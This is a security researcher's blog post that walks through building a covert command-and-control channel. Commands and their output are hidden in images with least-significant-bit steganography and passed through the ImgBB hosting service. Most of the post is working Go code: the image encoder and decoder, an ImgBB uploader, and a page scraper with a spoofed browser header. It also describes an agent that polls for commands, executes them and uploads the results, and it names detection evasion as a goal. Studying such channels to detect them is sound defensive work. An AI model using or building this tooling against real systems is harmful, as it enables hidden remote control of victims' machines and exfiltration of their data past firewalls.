Abusing Image Hosting Service as C2 Server

A.R Maheer
10 min readFeb 12, 2025

--

What if we could control an entire Command and control network — without ever hosting our own infrastructure? That’s exactly what attackers can achieve by abusing public image hosting services for Command & Control (C2).

Before starting let’s clear up some confusions…

What is C2 Server?

C2 servers, also known as C&C servers or C2 nodes, serve as the linchpin of cyberattacks, allowing threat actors to remotely manage and coordinate their malicious operations. In more easier langauge Command and Control (C2) servers are used by attackers to communicate with compromised systems. (More Detail: https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-are-command-control-c2-servers/)

The image shows how a traditional C2 server works, but what we’re talking about is a different approach — one that doesn’t require any dedicated C2 infrastructure. Instead, we can use image hosting services to remotely control an infected victim’s computer, all through images, without the hassle of setting up a complex communication system.

Why Use an Image Hosting Service for C2?

While researching covert communication techniques, I explored a method that eliminates the need for a dedicated C2 infrastructure. Instead of using traditional C2 servers (which can be blacklisted), I leveraged trusted image hosting services such as Imgur, PostImage, and ImageBB. This approach offers several advantages:

Blends with Normal Traffic — Image downloads from reputable services are routine, making detection more challenging.
Bypasses Firewalls & Proxies — Many corporate environments allow access to image hosting platforms without restrictions.
No Dedicated Infrastructure Needed — Since the service handles storage and delivery, I don’t need to maintain a separate C2 server.

How I am Binding Commands & Data with an Image?

In my research, I explored how commands can be embedded inside an image using Least Significant Bit (LSB) Steganography. This technique allows me to hide encoded data within image pixels without altering the visual appearance.

LSB (Least Significant Bit) Steganography

LSB steganography works by embedding hidden data within the least significant bits of an image’s pixel values. Since these bits have minimal impact on the overall color, modifying them does not create noticeable visual changes. The process begins by converting the data (e.g., a command) into binary and replacing the least significant bits of selected pixels with this binary sequence. Once modified, the image is uploaded or shared without raising suspicion. On the receiving end, the hidden data is extracted by reading the least significant bits and reconstructing the original message, allowing for covert communication without altering the image’s appearance. (More: https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html)

My C2 Diagram

Now, let’s begin writing the code. As shown in the image, the researcher’s end will handle multiple tasks: accepting command input from the user, embedding the command inside an image using LSB steganography, and managing the API for uploading the image to an image hosting service. Additionally, it will include functionality to decode the image when receiving a response from the C2 agent.

For our covert C2 communication, we are using ImgBB as the image hosting service.

The agent will follow the same process, as it is responsible for decoding the command from the image, executing it, encoding the result back into an image, and then uploading the modified image to ImgBB.

Let’s start with CommandEncoder which will be responsible for Inserting Text/command inside the image using LSB technique.

func embedTextInImage(img *image.RGBA, text string) *image.RGBA {
base64Encoded := base64.StdEncoding.EncodeToString([]byte(text))
messageBits := toBits(base64Encoded + "EOF")
bounds := img.Bounds()
width, height := bounds.Max.X, bounds.Max.Y
bitIndex := 0

for y := 0; y < height && bitIndex < len(messageBits); y++ {
for x := 0; x < width && bitIndex < len(messageBits); x++ {
r, g, b, a := img.RGBAAt(x, y).RGBA()
r, g, b, a = r>>8, g>>8, b>>8, a>>8

if bitIndex < len(messageBits) {
r = setLSB(r, messageBits[bitIndex])
bitIndex++
}
if bitIndex < len(messageBits) {
g = setLSB(g, messageBits[bitIndex])
bitIndex++
}
if bitIndex < len(messageBits) {
b = setLSB(b, messageBits[bitIndex])
bitIndex++
}
img.Set(x, y, color.RGBA{uint8(r), uint8(g), uint8(b), uint8(a)})
}
}
return img
}

func toBits(s string) []int {
bits := []int{}
for _, char := range s {
charBits := strconv.FormatInt(int64(char), 2)
charBits = fmt.Sprintf("%08s", charBits)
for _, bit := range charBits {
bits = append(bits, int(bit-'0'))
}
}
return bits
}

func setLSB(value uint32, bit int) uint32 {
return (value &^ 1) | uint32(bit)
}

The embedTextInImage function hides a base64-encoded command inside an image using Least Significant Bit (LSB) steganography. Here's how it works:

Encoding the Command — The input text (command) is base64 encoded and appended with "EOF" as a termination marker.
Converting to Binary – The encoded string is converted into bits using toBits, ensuring each character is represented as an 8-bit binary sequence.
Modifying Image Pixels – The function iterates through the image pixels and replaces the least significant bits of the red, green, and blue (RGB) channels with the command’s binary data.
Reconstructing the Image – The modified pixels are set back into the image, now carrying the hidden command without altering its visible appearance.

This method ensures covert communication, allowing the command to be embedded in an image that can be uploaded to an image hosting service for retrieval by the C2 agent.

NB: Instead of base64 encoding, commands can be encrypted using asymmetric (RSA, ECC) or symmetric (AES) encryption for added security. The encrypted command is then converted into binary and embedded into the least significant bits of an image’s RGB channels. This ensures covert and encrypted C2 communication while keeping the image visually unchanged.

Now the decoder which will be responsible for decoding the command from image

func extractTextFromImage(img image.Image) (string, error) {
bounds := img.Bounds()
width, height := bounds.Max.X, bounds.Max.Y
var extractedBits []int

for y := 0; y < height; y++ {
for x := 0; x < width; x++ {
r, g, b, _ := img.At(x, y).RGBA()
r, g, b = r>>8, g>>8, b>>8
extractedBits = append(extractedBits, int(r&1))
extractedBits = append(extractedBits, int(g&1))
extractedBits = append(extractedBits, int(b&1))

if len(extractedBits)%8 == 0 && containsEOF(extractedBits) {
break
}
}
}

extractedString := bitsToString(extractedBits)
parts := strings.Split(extractedString, "EOF")
if len(parts) < 1 {
return "", fmt.Errorf("no text found")
}

base64Decoded, err := base64.StdEncoding.DecodeString(parts[0])
if err != nil {
return "", err
}
return string(base64Decoded), nil
}

func containsEOF(bits []int) bool {
if len(bits) < 24 {
return false
}
eofBits := toBits("EOF")
for i := 0; i < 24; i++ {
if bits[len(bits)-24+i] != eofBits[i] {
return false
}
}
return true
}

func bitsToString(bits []int) string {
var chars []string
for i := 0; i < len(bits); i += 8 {
if i+8 > len(bits) {
break
}
charBits := bits[i : i+8]
char := 0
for _, bit := range charBits {
char = (char << 1) | bit
}
chars = append(chars, string(char))
}
return strings.Join(chars, "")
}

The extractTextFromImage function retrieves hidden data embedded using LSB steganography. It scans the least significant bits (LSBs) of each pixel’s RGB channels, reconstructing the binary data until it detects the "EOF" marker. The extracted bits are then converted back into text.

To verify completeness, containsEOF checks for the EOF marker within the extracted bits. Once detected, bitsToString converts the binary data into readable text. The function then base64 decodes the extracted string (or decrypts it if an encryption method was used), restoring the original command for execution.

Now, we need two components: an API-based uploader to upload images to the server and a scraper to fetch new images from the ImgBB server, allowing the bot to execute commands and retrieve execution results.

func uploadImageToImgBB(imagePath string) (string, error) {
file, err := os.Open(imagePath)
if err != nil {
return "", err
}
defer file.Close()

var requestBody bytes.Buffer
writer := multipart.NewWriter(&requestBody)
fileWriter, err := writer.CreateFormFile("image", imagePath)
if err != nil {
return "", err
}
_, err = io.Copy(fileWriter, file)
if err != nil {
return "", err
}
writer.WriteField("key", apiKey)
writer.Close()

req, err := http.NewRequest("POST", "https://api.imgbb.com/1/upload", &requestBody)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())

client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()

if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("failed to upload image, status: %d", resp.StatusCode)
}

var responseMap map[string]interface{}
err = json.NewDecoder(resp.Body).Decode(&responseMap)
if err != nil {
return "", err
}

if data, found := responseMap["data"].(map[string]interface{}); found {
if url, exists := data["url"].(string); exists {
return url, nil
}
}
return "", fmt.Errorf("failed to retrieve image URL")
}

func scrapeImageURLFromHTML(url string) ([]string, error) {
client := &http.Client{}
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36")
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
req.Header.Set("Accept-Language", "en-US,en;q=0.5")
req.Header.Set("Connection", "keep-alive")

resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()

if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("failed to fetch page, status: %d", resp.StatusCode)
}

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}

doc, err := html.Parse(bytes.NewReader(body))
if err != nil {
return nil, err
}

var imageURLs []string
var traverse func(*html.Node)
traverse = func(n *html.Node) {
if n.Type == html.ElementNode && n.Data == "div" {
for _, attr := range n.Attr {
if attr.Key == "class" && strings.Contains(attr.Val, "list-item-image") {
for c := n.FirstChild; c != nil; c = c.NextSibling {
if c.Type == html.ElementNode && c.Data == "a" {
for img := c.FirstChild; img != nil; img = img.NextSibling {
if img.Type == html.ElementNode && img.Data == "img" {
for _, attr := range img.Attr {
if attr.Key == "src" {
imageURLs = append(imageURLs, attr.Val)
}
}
}
}
}
}
}
}
}
for c := n.FirstChild; c != nil; c = c.NextSibling {
traverse(c)
}
}
traverse(doc)

if len(imageURLs) == 0 {
return nil, fmt.Errorf("no images found")
}
return imageURLs, nil
}

First, I upload an image containing encoded commands using the uploadImageToImgBB function. This function prepares a multipart request, sends it to ImgBB's API, and retrieves the uploaded image’s URL.

Next, the agent scrapes the image from the hosting service using the scrapeImageURLFromHTML function. It fetches and parses the webpage to extract image URLs, ensuring the latest uploaded image is retrieved.

Now that we have the essential functions for encoding, uploading, scraping, and extracting commands from images, it’s time to integrate them into a functional C2 Controller and Agent.

  • The C2 Controller will take user commands, encode them into an image, upload them to ImgBB, and monitor for responses.
  • The Agent will continuously scrape the image hosting service for new commands, decode them, execute the instructions, and embed the result back into an image before uploading it.

This setup establishes a fully functional covert C2 channel, leveraging image hosting services to exchange commands and responses while remaining stealthy.

Now we need an random image generator, you can use any random image generator from the internet, but i have created my own which generates random pixeleted image, you can just use api.

func generateRandomImage(width, height, blockSize int) *image.RGBA {
img := image.NewRGBA(image.Rect(0, 0, width, height))
rand.Seed(time.Now().UnixNano())

for y := 0; y < height; y += blockSize {
for x := 0; x < width; x += blockSize {
c := color.RGBA{
uint8(rand.Intn(256)),
uint8(rand.Intn(256)),
uint8(rand.Intn(256)),
255,
}
for by := 0; by < blockSize && y+by < height; by++ {
for bx := 0; bx < blockSize && x+bx < width; bx++ {
img.Set(x+bx, y+by, c)
}
}
}
}
return img
}

Now our task is to combine them and make a full functional C2 Manager & Agent.

Workflow

Let’s define the workflow: The C2 server will take user input, process it, and embed it into a newly generated image. This image will then be uploaded to the ImageBB server following the naming convention req-timestamp, allowing the agent to identify commands meant for execution. The agent will run in a continuous loop with a 10-second interval, scanning for new req- images. Once detected, it will download, decode, and execute the command, then bind the output to a new image and upload it as resp-timestamp. The server will then fetch and decode this response, displaying the executed command's output.

Proof of Concept

Demo

The PoC code is functional but not highly optimized or well-structured. Here’s the GitHub link to the working implementation.

This PoC demonstrates a covert C2 channel using image hosting services, but there is still room for optimization and further research. Future improvements could include enhancing encryption, automating deployment, and evading detection mechanisms.

Disclaimer: This research is for educational and informational purposes only. The techniques demonstrated here are intended to help security professionals understand potential threats and improve defenses. Any misuse of this information for unauthorized activities is strictly prohibited. The author is not responsible for any illegal use or consequences arising from this research.

What are your thoughts on this method? How do you think defenders can detect such covert channels? Let’s discuss!

--

--

A.R Maheer
A.R Maheer

Written by A.R Maheer

Security Researcher | Penetration Tester

No responses yet